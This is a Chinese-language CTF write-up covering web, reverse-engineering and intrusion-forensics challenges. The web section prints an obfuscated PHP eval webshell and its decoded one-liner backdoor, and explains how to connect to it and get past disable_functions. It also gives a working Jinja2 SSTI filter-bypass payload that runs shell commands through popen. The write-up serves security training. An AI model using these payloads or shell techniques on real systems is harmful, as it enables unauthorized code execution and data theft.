Web
hello_web
查看页面源码,如下所示
发现两个提示的php文件,我们尝试访问hackme.php
发现不是这样利用的,tips.php也读不到,我们尝试换一种路径穿越的读法,经过搜索可以知道我们可以用.和/进行组合进行路径穿越,最后在fuzz测试下,我们发现…//组合可以读到文件源码,如下所示
利用相同的方式,我们可以去读tips.php,如下所示
是一个phpinfo文件,我们可以看到禁用了一些函数,但是可以先不管,我们去分析一下这个hackme.php,如下所示
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
根据php函数逻辑,我们可以很容易知道这几个混淆变量是什么
$OxirhK = strtr;
$YpAUWC = substr;
$rVkKjU = 52;
$YwzIst = base64_decode;
eval($YwzIst("$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));"));
最后我们可以知道这个eval语句的内容
?><?php @eval($POST['cmd_66.99']);?>
其实是一个一句话木马,密码为cmd_66.99,但这里值得注意的是,由于php会自动将[转变为_,所以我们的真正的密码是cmd[66.99,我们直接用蚁剑连接即可
可以发现能连接上
但是我们可以发现找不到flag,我们尝试执行命令,但是被禁止了
这里我们使用蚁剑自带的插件disable_function绕过即可
我们直接读取flag即可
safe_proxy
重点在这,我们一看到使用了flask框架,首先肯定是要验证是否存在ssti漏洞了,我们可以看到这里过滤了很多ssti有关的函数,更进一步验证了我们的猜想,我们使用最常见的措施payload,如下所示
我们尝试如下构造payload
code={%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ax='so'[::-1]%}{{cycler.next[gl][bu][im](ax)['p''open']('cat /flag > app.py').read()}}
这里解释一下,通过设置拼接符绕过对__的过滤,我们通过拼接形成__globals__以及__builtins__以及__import__,最后我们拼接一个popen去读取我们的flag,我们先在firefox中试试这个payload
一开始执行的时候我们会出现ok,但是我们刷新几次,或者将浏览器倒退,就可以发现flag,发现的很巧合,原本以为这样构造payload不行
Reverse
ezCsky
直接ida打开,不管他能不能反编译,可以发现符号表里存在和rc4相关的函数名,找到了密钥testkey和密文解密即可,解密完还需要从后往前异或后一位,最后一位已知是"}"
def KSA(key):
""" Key-Scheduling Algorithm (KSA) 密钥调度算法"""
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
""" Pseudo-Random Generation Algorithm (PRGA) 伪随机数生成算法"""
i, j = 0, 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key, text):
""" RC4 encryption/decryption """
S = KSA(key)
keystream = PRGA(S)
res = []
i = 0
for char in text:
res.append(char ^ next(keystream))
i += 1
return bytes(res)
if __name__ == "__main__":
key = b"testkey"
text = [0x96, 0x8F, 0xB8, 0x08, 0x5D, 0xA7, 0x68, 0x44, 0xF2, 0x64, 0x92, 0x64, 0x42, 0x7A, 0x78, 0xE6, 0xEA, 0xC2, 0x78, 0xB8, 0x63, 0x9E, 0x5B, 0x3D, 0xD9, 0x28, 0x3F, 0xC8, 0x73, 0x06, 0xEE, 0x6B, 0x8D, 0x0C, 0x4B, 0xA3, 0x23, 0xAE, 0xCA, 0x40, 0xED, 0xD1]
# for i in range(256):
result = RC4(key, text)
print(list(result))
result = list(result)
result[-1] = ord("}")
for i in range(len(result)-2, -1, -1):
result[i] ^= result[i+1]
print("".join(map(chr, result)))
dump
题目里找到输入为命令行后第一个参数,测试发现用了换表,大写字母减去63,小写字母减去67,数字只有1、2可以直接替换,还有等号、花括号也可以直接找对应,需要注意0、3-9直接换为0,因此需要爆破
s = [0x23, 0x29, 0x1E, 0x24, 0x38, 0x0E, 0x15, 0x20, 0x37, 0x0E, 0x05, 0x20, 0x00, 0x0E, 0x37, 0x12, 0x1D, 0x0F, 0x24, 0x01, 0x01, 0x39]
print(len(s))
xor = [69, 69, 127, 67, 67, 68]
for i in range(len(s)):
if s[i] == 1:
s[i] = ord("=")
continue
if s[i] == 0x38:
s[i] = ord("{")
continue
if s[i] == 0x39:
s[i] = ord("}")
continue
if s[i] == 0x1c:
s[i] = ord("1")
continue
if s[i] == 0x1d:
s[i] = ord("2")
continue
if s[i] + 67 in list(range(97, 123)):
s[i] += 67
elif s[i] + 63 in list(range(65, 91)):
s[i] += 63
from base64 import b64decode
for i in ["0", "3", "4", "5", "6", "7", "8", "9"]:
s[12] = ord(i)
print("".join(map(chr, s)))
print(b64decode("".join(map(chr, s[5:-1])).encode()))
最后测试的是前四个里,记不清交的哪个了以及交的是base4解密前的还是后的了,一个个试即可
22
flag{MTczMDc0MzQ2Ng==}
b'1730743466'
flag{MTczMDc3MzQ2Ng==}
b'1730773466'
flag{MTczMDc4MzQ2Ng==}
b'1730783466'
flag{MTczMDc5MzQ2Ng==}
b'1730793466'
flag{MTczMDc6MzQ2Ng==}
b'17307:3466'
flag{MTczMDc7MzQ2Ng==}
b'17307;3466'
flag{MTczMDc8MzQ2Ng==}
b'17307<3466'
flag{MTczMDc9MzQ2Ng==}
b'17307=3466'
威胁检测与网络流量分析
zero_shell1
打开流量包,定位到http流量
我们追踪http流
解密得到flag
flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}
zero_shell2
我们用同样的payload,使用burp进行任意命令执行,我们首先执行ls /命令,这里需要url编码
之后一个个查看,发现flag在Database下
直接读取即可
zero_shell3
第三问需要寻找外联域名,我们直接通过netstat命令进行查询当前端口活动情况
复制下来放到文档里分析,如下所示
在这里可以看到一个很奇怪的外联地址,交一下,发现是对的,这个ip地址就是flag
zero_shell4
我们在第二问的路径下执行列出隐藏文件,如下所示
我们可以发现有一个叫.nginx的隐藏文件,我们猜测这个就是我们要找的隐藏文件,直接提交,发现正确
zero_shell5
我们首先使用hexdump读取隐藏文件内容,如下所示
复制出来删除序号,然后我们发现文件内容被翻转了,我们需要两位为一组,相邻两组进行互换,我们使用cyberchef进行操作,最后将字节流导出为可执行文件
最后我们用ida分析该可执行文件,我们在字符串中找到关键字符串
所以flag为flag{11223344qweasdzxc}
zero_shell6
全局搜索有关startup的文件夹,我们执行find / -type d -name "*startup*"
我们一个个去查看一下,最终找到启动文件的完整路径
flag{/var/register/system/startup/scripts/nat/File}
WinFT_1
靶机开启之后启动cports.exe,我们等一会就能发现恶意外联地址
所以flag是flag{``miscsecure.com``:192.168.116.130:443}
WinFT_2
需要寻找启动项中的东西,我们直接启动启动项,如下所示
有一个很明显的flag
f^l^a^g^:JiM3ODsmIzEwNTsmIzk5OyYjMTAxOyYjNjUyOTI7JiMxMDI7JiMxMDg7JiM5NzsmIzEwMzsmIzMyOyYjMTA1OyYjMTE1OyYjMzI7JiMxMjM7JiM2NTsmIzY5OyYjODM7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzk1OyYjMTA1OyYjMTE1OyYjOTU7JiM5NzsmIzExMDsmIzk1OyYjMTAxOyYjMTIwOyYjOTk7JiMxMDE7JiMxMDg7JiMxMDg7JiMxMDE7JiMxMTA7JiMxMTY7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzEyNTs=
base64解码
最后Unicode解码,如下所示
flag is {AES_encryption_algorithm_is_an_excellent_encryption_algorithm}
拿到本题flag